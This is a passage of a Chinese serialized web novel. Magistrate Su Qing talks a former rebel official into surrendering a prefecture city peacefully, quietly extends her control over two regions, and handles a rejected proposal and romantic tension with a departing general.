但在武勇王爷纵容手下屠城时,文瑞几乎崩溃。 他根本没想到,王爷所谓的为百姓好,解救百姓于水火。 竟然是这样解救。 看着文瑞的崩溃,武勇王爷压根不理他。 在他想跑的时候,家人已经被武勇王爷扣下。 文瑞已经对不起国家,对不起朋友,对不起百姓。 若再对不起家人,那真是不忠不孝不仁不义之人了。 但要他做什么伤天害理的事,他也实在做不下去。 武勇王爷见此,就把他扔到皋青州州城,算是看紧门户。 这州城百姓的日子,也终于好过那么一点点。 文瑞变得愈发沉默。 身边聚集的手下,要么是被叛军掳来的,要么走投无路来的。 所有人都沉默着做事。 若有一天死了。 他们都觉得是运气好。 就算武勇王爷被抓,晏总兵过来,乃至苏知府过来。 他们也没什么感觉。 反正都这样了,凑合着活吧。 至少文瑞是这么想的。 可听到昔日下属崔刚捷过来,还是让他整个人失神。 崔刚捷不会是来报仇的吧? 还有,他这些年过的如何? 文瑞身处皋青州州城,对外面的事并不算了解。 崔大人又是广乐府众多被提拔的官员之一。 文瑞自然不知道他的经历。 在他看来,自己当叛军,下属等人的日子,必然极为难过。 他那时候怎么就昏头了,信了什么鬼话,以为真的要帮百姓讨公道。 不仅自己落得如此境地。 下属们的日子,肯定更难过。 就在文瑞心神震动之时,崔刚捷已经去见苏知府了。 崔大人一来,就提起依松县镰刀紧缺的事。 如今都已经六月中旬。 还有两个月就要收粮食,没有趁手的农具,这怎么可以。 苏清对此自然也知情,她道:“府城武器作坊造出来的农具好,所以来买的人多。” “不止咱们本地各县在买,还有其他地方的货商也来进货。” “外地路远,就先尽着他们。” “放心,依松县的农具,肯定能在八月之前送过去。” 有苏知府的保证,崔大人终于放心了、 他终于说起这次的目的:“知府大人,您让下官过来,所为何事啊?” 文瑞曾经是他的上司。 但之后就没有联系了。 不对,大人难道担心他跟叛军还有往来?! 这真没有?! 苏清让他冷静,云喜跟绿兰则把这两日打听的消息告诉崔大人。 主要就是文瑞谋逆之后的经历。 以及他家人被武勇王爷威逼胁迫,妻子殒命,五个孩子如今只剩两个。 而他本人,不仅对叛军不信任,对顺昌国跟不信任。 “所以想让你劝劝他。”苏清直接道,“州城不比其他,我不想动武,也不想在州城激起兵变。” 各县的恶吏,基本都是单打独斗。 顶多三五成群,打起来也不会造成什么危险。 州城情况却不同,真要跟州城官员打起来,必然会让百姓们,再受一次战火。 这不是苏清想要的。 也不是本地百姓该经受的。 皋青州百姓已经够苦了。 若能和平解决,最好还是能和平些的。 这就是让崔刚捷来的目的。 崔刚捷明显有些傻眼。 倒不是意外苏知府的想法。 而是没想到,都当叛军了,文瑞的日子竟然这样惨? 想着救民于水火。 谁想到他完全在助纣为虐。 不敢想象,他亲眼看着武勇将军屠城时,是什么感受。 之后家人被扣下,又是什么感受。 相比起来,他那会日子是苦。 但这一两年,早就把之前的伤痕抹平了。 如今的他,满脑子都是如何办差,谁想那些有的没的。 人过得好时,似乎就不会回忆以前? 苏清道:“反正能劝就劝,实在劝不成,晏总兵也不会手软的。” 一直没说话的晏总兵看看苏清,这才点头。 崔刚捷领命。 他会尽力去办的。 得知皋青州的情况,得知之前上司的遭遇,他也收起急着回依松县的心。 休整的差不多了,崔大人递上帖子,求见文瑞。 文瑞看着崔刚捷的名帖,半点也不意外,深深叹口气,脸上阴郁之色根本藏不住。 “请他来见吧。” 文瑞心中冲天的愧疚,在看到精神奕奕的崔刚捷时突然顿住。 反观崔刚捷看到文大人,瞬间愣住:“大人您?” 没说完的话是,大人您怎么老了这么多。 以前的文瑞可是出了名的美男子。 现在看着,整个人阴郁地厉害。 在文瑞眼中,崔刚捷则完全相反,他声如洪钟,衣着不新不旧,但极为干练,也不像却吃少穿的。 关键是崔刚捷精气神完全不同。 他比之在自己手底下时,明显更加有活力? “你怎么?” 两人坐下,屏退左右。 这才开始说起武勇王爷起兵之后的经历。 而他们的情况,可以说截然相反。 一个刚开始带有希望,却直接绝望。 另一个即将绝望之际,又迎来真正的希望。 “我现在广乐府其中一县做官,去年年底被调到依松县做县令。”崔刚捷说着,还叹气道,“武勇王爷真不是东西,依松县百姓深受其害,做的都是什么混账事。” 依松县两次被叛军占城,中间还有喘息的机会。 皋青州却在对方手中二十多年。 文瑞眼中泛起泪光,又强行忍下去,看似平静的表情,显然几近崩溃。 不过他还是道:“你的意思是,现在的苏知府,跟顺昌国其他官员不一样?跟武勇不一样?” 文瑞嗤笑:“别又被骗了啊。” 话是这么说,但他的表情明显不对,眼神透着一丝期盼,又有一丝绝望感。 知道文大人经历后,崔刚捷颇有些无奈,劝道:“武勇王爷都没了,不管怎么说,让苏大人接手是最好的选择。” “即使你不信她的想法,总要信她的行为吧?” “就说依松县,百姓们有地种,有房子住,已经开始新生活了。” “你们皋青州六个县也是如此,州城这边,还是不要负隅顽抗,大人不派兵攻打,就是担心再起兵祸,让百姓们日子难过。” 但不管怎么劝。 不管武勇王爷有没有被抓。 文大人还是想造反。 他根本不愿意归顺朝廷。 崔刚捷明白,他这是带了死志,甚至一心求死。 如果顺昌国皇室等人,知道下面官员宁愿死,也不归顺朝廷,该是什么感觉。 劝了半晌无用,崔刚捷无奈道:“你怎么不为家人考虑考虑。” 此言一出,崔刚捷自己都知道说错话了。 如果说文大人自己都对武勇,以及顺昌国其他人恨之入骨。 家人更是如此。 他们也是顺昌国百姓,他们也经历过的事情,未必不如文大人。 如今这一家子,都抱了死念。 死也不归顺,死也不把州城交给顺昌国官员。 还是那句话。 就算苏知府没问题。 其他人呢。 顺昌国的做事行径。 他们信不过。 顺昌国皇室的性格。 他们也信不过。 别说文瑞,以及文瑞一家了。 他手底下的州城官员,多半也是这个想法。 直到此时,崔刚捷终于明白,苏知府为什么要让他过来。 这些人的想法太过顽固,实在劝说不动。 若不是文大人对自己有些愧疚,根本不可能对自己说这样多。 “你,糊涂啊!”崔刚捷痛心疾首,“苏大人跟那些人不一样!你怎么就不懂呢!” 崔刚捷把广乐府的变化一一说明。 从苏清父亲去世,再到她一个弱女子撑起南江县,以及临危受命接下广乐府。 在依松县失守的第一时间,立刻跑到南江县坚守等等。 “这样的人你还信不过?你不糊涂谁糊涂!” “你都选错过一次了,这次难道还要错?!” 崔刚捷震声道。 文瑞像是死了心般,压根不回答。 让他交出州城衙门,不如让他死。 他绝对不会让百姓再吃苦的。 两人争吵之际,就听门外有人来报:“文大人,苏清苏知府来了,已经过了二门。”??? 不请自来? 还直接进门?! 你们也不拦着吗! 她身边一左一右,一个是晏总兵,另一个叫连飞扬。 哪个不是战功赫赫的。 尤其是晏总兵,武勇王爷都打不过他啊,谁敢真的阻拦。 而且崔刚捷都进来了,说不定大人态度已然松动? 崔刚捷赶紧摆手:“我不知道这件事,不过苏大人提前说的话,我肯定会答应的。” 文瑞无奈。 崔刚捷那么相信苏知府就算了。 晏总兵呢? 那也是皇家的人。 在文瑞看来,顺昌国如今的乱象,就是从皇家开始。 先皇趁着武勇王爷打仗的时候夺权上位。 之后一边安抚一边拉拢朝臣,为了让朝臣们拥戴他,更是许下无数好处。 对于官员等人徇私舞弊,更是装作看不到。 现在的皇帝登基,不重振朝纲就算了。 甚至纵容底下人贪赃枉法。 对于武勇王爷,既不敢赶尽杀绝,也不敢直接抵抗。 甚至想把皋青州跟广乐府割让给亲叔叔,来换取一段时间的和平。 这也是文瑞当年执意谋逆的原因。 当然,他来到皋青州没多久,这位晏总兵就来了。 所以他对这位并不熟悉。 可皇家人的做派,他实在受够了。 看着他草木皆惊的样子,崔刚捷完全没话说。 然而苏知府已经走到明间前,身边云喜绿兰直接打了帘子进来。 苏清半点不把自己当外人,笑眯眯道:“两位聊的可好?” 再看后面跟着两个武将。 文瑞硬气道:“不好,还请诸位回去吧。” 苏清并不言语,坐到崔大人让出的位置,又笑:“客至,怎么能赶人。” “来人,上茶。”???这合理吗?! 你有些太不把自己当外人了! 旁边众人也不知道该不该上茶,外面已然有差役围住。 只要文大人一声令下,他们便进来救人。 只有苏清淡然自若,对晏总兵连飞扬道:“我想跟文大人单独聊聊。” 其实就是同晏总兵说的。 以晏铮州的身份,不应该过来的。 但就算有连飞扬陪同,他也觉得还有危险,这才同行。 苏清又道:“你们都在门外,不会出问题的。” 说着,还看了看文大人清瘦的身子骨。 总感觉吧,她推一把对方,对方就能倒下。 见此,晏铮州才勉强点头:“我就在门外。” 而文大人已经气的要命。 这女子! 怎么能小看自己! 苏清又对外面差役等人道:“想想自己妻儿老小,不到万不得已,何必将他们送上绝路。” “我苏清的名号,你们难道没听说过?” 众人自然听过。 甚至听过无数遍。 苏清苏知府。 也是让武勇王爷彻底落败的重要原因之一。 不过谁也没想到,这真是个极为年轻的女子。 身量高挑,目光明亮,整个人带着说不清朝气,让人看着她,就知道她心有成算。 文瑞也一样,他让众人退下,连崔大人也只能出了房门。 明间本来就是待客用的,房门很少关严,这会缺罕见关门闭户,隔绝里面的声音。 房间内静默无声,还是苏清喝了口刚端上来的茶。 就听文大人道:“苏大人不怕我下毒?” 苏清笑:“何必呢,想要打起来,不至于用这种方法,我与您无冤无仇,甚至还是您的恩人。” 恩人? 从何说起? 苏清直接道:“若不是我,你对崔大人的愧疚,只怕更深,这不算恩人吗。” 算是算。 但哪有人直接说出来的。 苏清放下茶杯,笑着道:“其实我过来,是有一事相求。” “我想问问,谋逆造反,是一种什么感觉。” 此言一出,文瑞直接站起来,本就瘦弱的身子,这会气的真的要吐血。 “苏大人!你这是在取笑在下吗?!” 苏清看着对方的眼睛:“不是,是想学学经验。” 学经验。 造反的经验。 苏清说的真挚,文瑞却不相信。 谁料苏清又道:“朝中有人建议,我来做皋青州知州。” “但是却被驳回了,等到明年会试结束,还会有知府顶替我广乐府知府的位置。” 文瑞直言:“迟早的事。你若有家世还好,看在你家族的面子上,也不管你是男是女,能占着位置即可。没有根基,还是个女子,他们怎么能忍。” 不论是他,还是崔大人。 以及朝中很多官员。 不都是这样吗。 做出点什么事,都被人抢占了,还百般羞辱。 就拿京城跟依松县失守来说。 京城失守,要举全国之力让皇上太后早日回去。 回就回吧,京城确实重要。 但之后呢?依松县的问题,像是消失不见一般,那边根本不着急。 甚至不让之前的兵将过来。 简直自私到极点。 这种情况下,苏清在广乐府乃至皋青州的所有贡献,迟早会被人吃下。 明年会试,新的一批官员出现,也就到头了。 等会。 是因为这样,所以才想造反吗? 若苏清手握广乐府跟皋青州两地,再不行退守皋青州也是可行的。 甚至以江隔开,江北县再往北的地方,都是苏清的?! 提到这个,文瑞兴奋了。 “以你的能力,让这两地百姓过上好日子,肯定很简单。” “到时候,也不会有人把你换掉。” 文瑞越说越高兴。 他不是不信任苏清的能力。 更不是不信她的人品。 若能永久待在皋青州,那可太好了! 不过文瑞又深吸口气:“不行,我们兵力不够。” 说着,看了看门外:“晏总兵太厉害了。” 只要有这位总兵大人在。 很难跟他对抗。 苏清莞尔一笑:“他也加入呢。”??? “他跟武勇王爷的处境,何其相似。” “你以为朝廷不忌惮吗。” 这件事不用多说,文瑞自然明白。 朝中早就想让晏总兵回京了,是他自己没回去而已。 那?! 有苏知府,有晏总兵。 别说皋青州,那广乐府也在手中了! 提别的,文瑞或许还没什么想法。 提到造反,他可太高兴了。 就算不能救顺昌国所有百姓,能救这两地百姓,也是好的啊。 文大人又冷静下来。 若总兵真的答应,此刻就不应该在门外,而是在里面详谈。 苏清稍稍诧异,文大人还有敏锐的时候。 苏清笑:“现在还没答应,就算他不答应,被召回京城,情况也差不多。” “我的想法是,无论广乐府还是皋青州各县,都换成自己人。” 其他的不用多说。 到时候无论谁来,都顶替不了他们的位置。 苏清即使不当名义上的知州知府,那也是实际的掌权人。 这样真的能行吗? 文瑞半信半疑,却听苏知府道:“你现在能做的,只有相信我。” “好好活着,好好经营皋青州,这对你也没什么不好的,不是吗。” 不得不说。 苏知府的话,显然比崔大人更有吸引力。 可直接全信,又显得人很蠢。 过了好一会儿,文瑞才道:“此事容在下好好想想。” 苏清并不着急,起身道:“我比你更想掌握广乐皋青两地,广乐府是我心血,你觉得我交给不信任的人吗?” 是啊。 自己勉强维持住皋青州州城,都不愿意放手,何况广乐府那边。 到此刻,文瑞已经信了五六分。 如果苏清跟自己有同样的目标,那跟她合作,确实可行。 表面臣服顺昌国,实际上却把这两地的官吏掌握在自己手中。 得到恰当的机会,直接从顺昌国分开。 只有要兵力支持他们,这点并不难办。 反正山高皇帝远,皇上未必在意。 这种情况下,晏总兵要是能回京,对他们来说更有好处。 当然了,如果晏总兵能加入,那就最好了。 文瑞对顺昌国的恨意,以及谋逆的想法,已经呼之欲出。 朝廷伤他之深,确实让人叹息。 古话也说,君不正,臣投外国,想来文瑞就是这个想法? 苏清离开,崔大人却没走,他还要留下来游说文瑞。 如果能说通文瑞。 那皋青州州城跟苏知府带来的人,便能顺利交接,两方合作。 如果说不通。 州城必然有一场战事。 战事的结果不言而喻。 他们这些人肯定活不了,还会给千疮百孔的州城带来战争。 崔刚捷更是苦口婆心。 他虽然不能保证,朝廷一定让苏大人继续广乐府跟皋青州。 但他极力夸赞苏知府,让文大人相信她。 “她真的很厉害。” “凡事都能未雨绸缪。” 说到这,崔刚捷又挠挠头:“对了,我也劝不了太久,说话间就到七月份。” “我赶紧回去,准备依松县秋收啊。” 文大人无语。 能不能别炫耀了。 他也想让治下百姓安居乐业,当个好官啊。 住在阎协守家中的苏清,云喜绿兰,则难得悠闲。 不过他们不好出门的,否则州城百姓就会凑过来围观。 女的当知府,他们没见过。 爱民如子的官员,他们也没见过。 两者竟然合二为一。 更没见过了。 所以定要好好瞧瞧的。 他们心里难免有所期盼。 这个官员,能不能给他们带来好日子。 苏清为了不被围观,基本都在院子里晒太阳。 身边的连飞扬还好,他有些坐不住,总要出去。 晏总兵就不同了,自从见过文大人,他便时不时看向苏清,眼神带着无奈。 自战事平息后,两人见面虽多,但远不如打仗时交流频繁。 尤其是信件往来,苏清也越来越收敛情绪。 像那种,收集各地民生情况,以及黎民之苦,写信再寄给他的情况,已经全然消失。 而信中的隐含意思,也再也没表露出一丝。 除了这次见文瑞文大人。 这位文大人看着“弱柳扶风”。 其实一心造反。 能把他说动。 那苏清讲的是什么? 其他人不知道。 晏铮州却是清楚一二的。 苏清当时的信件,他看一封烧一封 既是不赞同,也是保护她。 那些信流出去,苏清或许就再无回头路。 当然,她或许也不需要回头路。 晏铮州坐在一旁,罕见放空。 她的胆子,比很多人都大。 甚至刚把她的想法,告诉皇上的亲弟。 等云喜绿兰也忍不住出去玩,只剩下打盹的苏清跟晏铮州。 晏铮州才开口:“这里应该不会打仗。” 这是肯定句。 苏清把书放一旁,坐直身子:“嗯。” “你跟文大人说了什么。” 苏清笑:“你真要听啊。” 一问一答,说了什么已经不重要了。 晏铮州张张嘴,最后道:“朝中或许没。” “没那么糟?”苏清笑,“你都快回京了,还说这些干什么。” 没错,晏铮州快回京了。 事实上,他在去年年底就该回去的。 一直拖了半年时间。 如今皋青州也已经摆平,京城那边无论用什么方法,都会让他回去的。 以前让晏总兵回京。 还要担心武勇王爷割地自治。 现在障碍扫平。 皋青州的叛军都没剩什么。 必然让他赶紧回京啊。 这是大家都知道的。 唯一不知道的。 那就是此地没了武勇王爷。 来了个更“难缠”的苏清。 如今两地官吏,民心,都是她的。 唯一欠缺就是兵权。 等自己一走,她肯定能培养出合适的人手。 广乐府府学那边,也有不少兵家苗子。 她手底下武捕头的儿子,甚至她跟连飞扬,文千户等人的关系。 足以让她有自己的兵力。 跟她打,远比跟武勇王爷打要难得多。 再说了。 到时候京城会不会放他出来,还不好说。 晏铮州缓缓开口:“到时候,这两地就再也不属于顺昌国。” 六月下旬的下午,天气格外炎热。 突然一瞬间,像是蝉鸣都消失几秒。 “对啊,是这样。” 但只是这样吗。 苏清想到梅娘的家乡,想到叶山鸣的家乡。 还有周围很多很多地方。 即使这个时空很多朝廷,跟她那个时代不同。 但相同的文化,相同的习俗,相同的华夏文明。 让她在果决之余,稍显不忍心。 看着国家分裂这种情况。 她有些做不到。 所以,还有其他选择的。 苏清没有继续说下去,反而讲起另一件事。 “晏总兵,咱们来打个赌吧。” 晏铮州没说话,苏清就当她默认了。 苏清勾勾手指,让晏铮州坐到自己身边,这才道:“如果你回京之后不被打压,我今年年底被召到京城述职时,广乐府知府位置不变。” “这两件事里,有一件事没有达成,那就是你赢了。” “如果两件事都成真,你要答应我一件事。” 至于是什么事,以后再说。 晏铮州并未回答。 因为他们都知道,作为抵抗叛军的两个功臣。 一定会被卸磨杀驴。 只是时间早晚的问题。 苏清见他不答,故意凑在他耳边,温热的气息洒在他耳侧:“你也知道答案,不是吗?” 晏铮州皱眉起身,并不算愉快地盯着苏清。 你是有未婚夫的人。 苏清被他反应搞的有点懵。 她猜错了? 晏铮州理智却在挣扎。 你一个有未婚夫的人,做这些是干什么。 把他当什么了? 明知道这个赌自己不会赢。 晏铮州道:“好,我答应。” 说罢,直接转身离开。 之后三五日都没出现。 苏清百思不得其解。 隐下其他事情,问连飞扬他们总兵的去向。 连飞扬摸不着头脑:“去剿匪了啊。皋青州内匪贼没剩多少了,这是最后一支了。” “不过总兵大人说走就走,连我都没带。” 苏清挑挑眉,就见连飞扬挠头笑:“对了,我跟总兵大人,很快就回京了。临走之前,有件事想同你讲。” 这种语气让苏清有些疑惑。 连飞扬先是郑重问道:“你对自己的婚事,有没有什么想法?” “倘若可以,考虑考虑我?” 连飞扬本就活泼,话头一开,恨不得把自己祖宗十八代都报出来。 他祖父就是镇守京城的连老将军。 祖上都是一路军功走出来的。 等连飞扬回京,必然也会加官进爵,不算辱没祖先名号。 而他现在也就剩最后一个愿望。 娶一个冰雪聪明的媳妇儿! 苏清。 就是他见过最聪明的那个。 所以他想求娶。 只说这些就算了。 关键连飞扬又加了一句:“我知道你跟顾举人还有婚事,但婚事归婚事,还可以退的!” “你要是觉得不好意思,我去操办,绝对给他找个家世定好的岳家,不亏待他!” 苏清欲言又止。 想回答连飞扬,又想到带了些愤怒晏铮州。 等会?! 他是觉得自己有婚约的情况下,还故意跟他亲近吗? 自己那个态度,好像故意让他跟自己谋反的坏女人啊。 不顾自己有未婚夫的那种。 苏清就差以头抢地了。 她真没有。 当然了,还是解决眼前的麻烦为好。 苏清的答案肯定是不行。 先不说她没这个想法。 再者,对于自己的婚事,她还有另一个想法。 对于苏清的拒绝,连飞扬并不意外。 他临走之前这样说,也是了结自己一桩心愿。 话是这么讲,连飞扬却还是舍不得。 像苏清这样的女子,谁不想跟她成亲。 这么想着,连飞扬便连连叹气。 这种事不能同其他人讲,容易影响苏清清誉。 也就只好跟嘴最严的晏总兵唉声叹气。 “那个顾举人,到底哪里好了。不就占了个先来的机会。” “如果我是他,我早八百年成亲了,拖拖拉拉的,肯定有问题。” “他不想成亲就退婚啊!别人想啊。” “你说是不是,晏总兵。” 晏铮州没说话,径直走开。??? 他有这么烦人吗?! 苏清正要出门,迎面看到晏总兵。 本想解释,最后挑眉道:“文大人送信,让我们过去一趟。” 在崔大人苦心劝诫下。 文瑞终于松口。 他愿意交出州城权柄,并直接投诚。 投苏清。 苏清跟晏铮州听着,两人表情不一。 苏清笑道:“别说投我,朝中并未下令,让我掌管此地。” “你跟我回广乐府吧,做个随从,戴罪立功。” 曾经参与叛乱的人。 不仅不下狱,还做知府随从。 这是罪吗? 苏清还道:“想来朝中也能理解。” 文瑞心里想。 朝廷怎么可能理解。 自己身份太特殊了。 苏清直接出主意:“写封告罪的文书,以示天下,证明是皇上功德,皇上大度。” “不仅如此,还号召天下其他各地叛军叛党,早日归降的好。 这样一来,皇上便不好明面上动他。 不给那些叛军乱党退路。 那情况就会更难控制。 咱们的皇上,是多一事不如少一事的性子。 大概率不会计较。 “总兵大人,您说呢。” 晏铮州还能怎么说。 苏清虽没见过皇上,却已经摸清对方的性格。 她这份洞察人心的本事,世间罕有。 文瑞等人连连点头。 既然投诚了,那他们也没什么说的。 就是这州城,不能没人管啊。 苏清目光看向急着回依松县的崔刚捷崔大人。 “不如就让崔大人代管一段时日。” 不等崔刚捷反对,苏清就道:“暂且顶顶,八月中旬下旬才收粮食。” “到时候我肯定找人替你。” 现在才六月底。 还有一个多月呢。 文瑞也点头,交给崔大人,他还是很放心的。 至于自己跟家人,就跟着苏大人去广乐府。 双方谈成。 让整个州城都松口气。 若他们打起来,百姓们倒也不慌张。 毕竟这里的人都习惯了。 现在不打,反而觉得十分庆幸。 皋青州州城的权力交接,进行的极为顺利。 崔大人几乎冷着脸接手这里的差事。 除了不能换人的岗位外,其他官员都跟着苏大人去广乐府。 说是戴罪立功,其实是换个地方做官。 而那些地方的官员,将一步步从广乐府转移至皋青州。 苏清做这些事,基本没瞒着晏铮州。 等两边官员交换完毕。 这两地就完全在她手中,根本用不了多长时间。 等到七月初九,苏清等人就要离开。 从四月份过来,已经三个月了。 除了已经被砍头的恶吏,还有留守在州城的崔大人之外。 其他人好像都挺高兴的? 州城百姓太太平平渡过这一关。 六个县的百姓分到土地房屋,换了新官吏上来。 在永晟五年的下半年里。 他们终于要迎来新生活了。 崔大人一路远送,还跟苏知府道:“大人,快些找人替我啊!” 苏清漫不经心答应。 看的崔大人有些嘀咕。 真的! 管着这个州城,真不如他的依松县啊。 他的依松县发展得多好? 你们看不出来吗? 永晟五年,七月十四。 苏清,晏铮州,文瑞等人从皋青州离开,到达广乐府第一个县,依松县。 这个被崔大人心心念念的县城。 文瑞终于看到它的全貌。 从先皇最后一年,到如今永晟五年。 六年时间里,几乎一半时间里,都在叛军手中。 此地的萧索,大家都预料的到。 但走近才发现,依松县百姓的精气神,跟皋青州那边完全不同。 他们店铺里摆满货物,农户们在耕田种地。 人人都在谈论新买的农具,以及便宜租用的耕牛。 刚打完仗,他们有钱吗? 文瑞道:“崔大人说过,是府城拨的钱拨的粮。” 所以依松县百姓可以不慌不忙渡过战后最难过的一年。 他们不用担心吃饭,不用担心田地。 只要按部就班做自己的事即可。 衙门附近不仅有施粥施粮的,还有施药的。 从南江县来的医护告诉他们,食物水源要洁净,主意健康云云。 这一幕幕景象,看得文瑞等人热泪盈眶。 像是假的。 但又是真的。 他以为自己这辈子,都看不到这种场景了。 如果广乐府各地,都像依松县这般。 那他愿意跟着苏大人造反! 他非常愿意! 再去尚口县,江北县,南江县。 文瑞早就下定决心。 就算苏清让他去刺杀皇帝,他都能做的。 这就是他理想中的百姓生活,就是他理想中的世界。 苏清都忍不住道:“这才哪到哪。” 哪到哪?! 南江县这地方,抵得上很多府城了吧。 看看这码头,看看这络绎不绝的商船。 还有宽阔的街道。 此地百姓衣着,都比一般地方要好些。 文瑞夸了又夸,恨不得永远住在这。 而苏清也道:“你们就住在这吧。” 文瑞等人诧异。 住南江县,不用去府城吗? 苏清摇摇头:“暂时不用去。” 那边情况更复杂,她的人还是在南江县为好。 等苏清安顿好文瑞等官吏。 梅娘朱婶娘他们也帮着安顿家眷,她才终于腾出时间。 这次腾出时间。 专门给晏铮州等人送行。 正如连飞扬所讲。 他跟晏铮州,甚至阎协守,都要回京了。 接替他们来的将领以至,交接过后就要启程。 新来的将领等人,苏清完全不熟悉。 对方也没有打交道的意思,地方跟军中,是要保持一定的距离。 苏清作为知府跟军中之人如此熟悉,也是之前形势所迫。 但苏清跟晏铮州都没什么话说。 两人心知肚明,他们今年年底就会在京城见面,何必多言。 再说,他们两个分歧,更不好多讲。 反而是连飞扬就差哭了。 他是真想娶苏清的。 要是让他直接辞官,在苏清身边做个随从,也可以的。 以他的武力,谁都不敢轻易动她啊。 晏铮州看得头疼,直接让连飞扬先走一步。 阎协守乐呵呵的,带着众人同样离开。 留下苏清跟晏铮州相顾无言。 云喜跟绿兰两人下意识后退几步。 苏清想了想道:“我有个未婚夫叫顾从斯。” “晏总兵若见了,还请多照拂。” 一向平静的晏铮州脸上闪过不敢置信。 他? 托他说话? 再想那日下午,晏铮州脸黑片刻,转身离开。 云喜跟绿兰虽然后退了,但依旧能听到他们对话啊。 绿兰震惊道:“苏姐姐,你跟顾哥哥不是已经退婚了吗。” 苏清笑眯眯的:“是啊。” 那你为什么要那么说啊。 他们都能感觉到晏总兵气压低了。 晏总兵本就气势惊人。 方才更让人害怕。 苏清搂着小妹:“哎,他这种性格,就要戳一戳的。” 反倒是云喜开口:“戳狠了怎么办。” “不怎么办。” “反正我要做的事,又不止这一件。” “走,回家。好久没吃我娘做的饭了。” 云喜绿兰都使劲点头。 他们也要吃! 忙了这样久,终于能休息休息了。 说起来,还是他们南江县好,温馨平静,谁在这都能过得舒心! 但两人更知道。 短暂休息过后,还有很多事情等着他们。 尤其是苏姐姐,多少人都等着她发号施令呢! 就在回家的时候。 苏清眼尖,看到前面酒楼有人吟诗,赶紧拉着云喜小妹躲开。 只见那酒楼上的人,正是文瑞一行。 他们满脸欣喜,丝毫看不到在皋青州的愁容。 嘴里念的诗,都是什么主人东皋上,时稼绕茅屋。虫思机杼悲,雀喧禾黍熟。 还有什么稻花香里说丰年,什么梅子金黄杏子肥。 反正都是庆祝丰收的诗句。 这些年来的怨气泪水,在这一刻全部倾泻。 他们以为自己习惯武勇王爷统治下的地方那。 以前没有习惯,他们想要的,原来在南江县,原来还在顺昌国。 众人边吟唱边落泪。 看得周围人退避三舍。 这是哪来的人啊,干什么啊? 没见过南江县的日常景象吗? 都是大家平日的生活。 不至于这么夸吧? 这些嘀咕,让文瑞他们更是哭泣。 日常生活都这么好了。 这就是他们想要的日子。 这也是他们想为之舍命的上司。 寻寻觅觅十几年。 辛苦读书几十载。 终于让他们找到可以为之奉献一生的地方了! 只要能保护这里的景象。 他们愿意付出一切! 苏清低声道:“跑,不要让他们看到。” 让他们看到,自己肯定会社死的! 所以快跑啊! 60-65 第61章 回到南江县,苏清的日子变得清闲许多。 这里有费开宇跟祝芳洁两人,手底下从书里到差役,甚至各村村长乡勇,基本都是苏清的人,大事小情都不用她操心。 而且梅娘心疼她,每日都做各种好吃的,说让她长胖些才好。 不过最让苏清惊喜的,还是弟弟苏澄。 苏澄今年已经九岁,从五岁开始读书,至今正好四年。 四书五经他读了大半不说,书房里诸子百家的书籍也看了不少。 年近九岁,就已经能做文章了。 以苏清如今的眼里来看,已然不错。 只是这手字,分明是学她。 苏清觉得好笑,让弟弟继续读:“等你再大些,就能帮姐姐了。” 苏澄一个劲点头。 他的榜样就是自己姐姐! 苏澄情况不错。 今年十四岁的苏溪稍显逊色,而且整个人话不多。 应该是小时候被他爹打得狠了。 好在读书还算用功,明年就能试试童试,若能考出来,他跟他娘日子会更好些。 对比苏家孩子,梅家两兄妹则活泼不少。 去年刚来的时候,两人看着又黑又瘦,现在养的白白胖胖,性子也跟在家时一样。 故而在白家学医,不仅学了医书,还交到不少好朋友。 平日就是他们两个带着苏澄苏溪出去玩。 南江县太平安稳。 孩子们结伴出去玩,也不是什么大事。 梅娘感慨道:“我就说,他们小时候也没那么小心翼翼,看来在家的时候,是饿狠了。” 苏清点头,又道:“娘你放心,我托了叶家商行,他们有车马咱们老家通民府,那边现在不缺吃穿。” 梅娘诧异。 平日都是她管老家的事。 不管夫家还是娘家,也都有寄银子寄衣料。 没想到女儿又添了层保障。 苏清之前是不管的。 但表弟表妹过来,让她更加意识到老家情况艰难。 不管外祖还是祖母。 他们都是轻易不张口的。 还是这边主动点好。 外面世道艰难,他们视而不见。 梅娘搂着女儿,家里上上下下,都是女儿撑起来。 她如何不为清清骄傲。 闲适的日子很快过去。 暂管皋青州的崔大人时不时来信,想找人接替。 “大人派人来需要时间,交接也需要时间。” “现在都七月二十了,大人您选好合适的人了吗?” 苏清无奈。 好好的皋青州不要,就惦记依松县的粮食。 但苏清也明白。 崔大人做事有始有终,他想看到依松县的丰收,也想让当地百姓过得更好。 可她手头真的没人啊。 皋青州需要官员。 南江县这边也需要再安排人手。 马上就是乡试,代县令费开宇,应该要去考举人了。 苏清把费开宇喊到书房,聊的也是这件事。 没想到对方一脸愁容,说出来的话,也让苏清有些吃惊。 “大人,我能不能不去考举人了。”费开宇直接道。 苏清诧异道:“怎么了?没复习好?” 大考之前临阵退缩,也是有的。 费开宇也不跟苏大人客气,直接坐下来道:“是觉得没什么用处。” “大人,按照科举出题之法,来考四书五经。真的能当个好官吗?” “就那个考法,真的能选出合适的人才吗?尤其是如今的状况。” 费开宇并不是否认四书五经,否则这些经典。 而是在经历那么多事后,发现读书很重要,但重要的不是为了科举,而是学到里面的至理名言。 费开宇说了一大通,自己都觉得语无伦次。 苏清则道:“不管怎么样,如今科举选拔人才,还是无可替代的。” “你要想好了,不考乡试,只做此地县令,以后极难升迁。” “若能考上,不管以后我在不在这,你都有机会再进一步。” 这也是费开宇纠结的地方。 倘若苏大人一辈子都在广乐府就好了。 那样他做什么都可以。 考不考举人,区别也不大。 反正都是守令爱民。 苏大人怎么就不能成为广乐府的土皇帝呢! 这个想法一出,费开宇就觉得自己大逆不道。 但思索良久,他还是放弃了。 什么科举,他不去了。 “大人,以后您不管去哪,都让我当您的书吏吧。”费开宇一脸恳切,“只要有您一句话,给我状元我都不当!” 对费开宇来说,如果几年前有人告诉他,他会放弃科举,那他肯定不会信的。 这可是改变人生命运的机会。 他们终其一生,都在追寻这个目标。 现在对他来说,却不是这样的。 秀才的也好,举人也好。 甚至没有功名的人也行。 只要能守令爱民,能让地方稳定,百姓安稳度日,都是好的。 而他费开宇想做的,正是这些。 南江县新落户的百姓,刚刚开耕的田地。 以及如今药材成了规模,但还要遏制百姓只种药不种田。 这些事,才是更关键的。 可他心里也怕啊。 等苏大人离开这,那他这个县令也是做不成的。 所以说。 只要大人开口,以后让自己做她随从,那他心里就有底气了! 苏清听的哭笑不得。 哪有一心想做随从书吏的。 可费开宇的想法,倒是跟远在皋青州的崔大人异曲同工。 想到皋青州,苏清笑着对费开宇道:“那我知道该怎么办了。” 什么意思? 费开宇根本不知发生了什么,他迷迷瞪瞪回衙门大堂。 路过县丞堂的时候,正好看到祝县丞在办公,连忙过去说话。 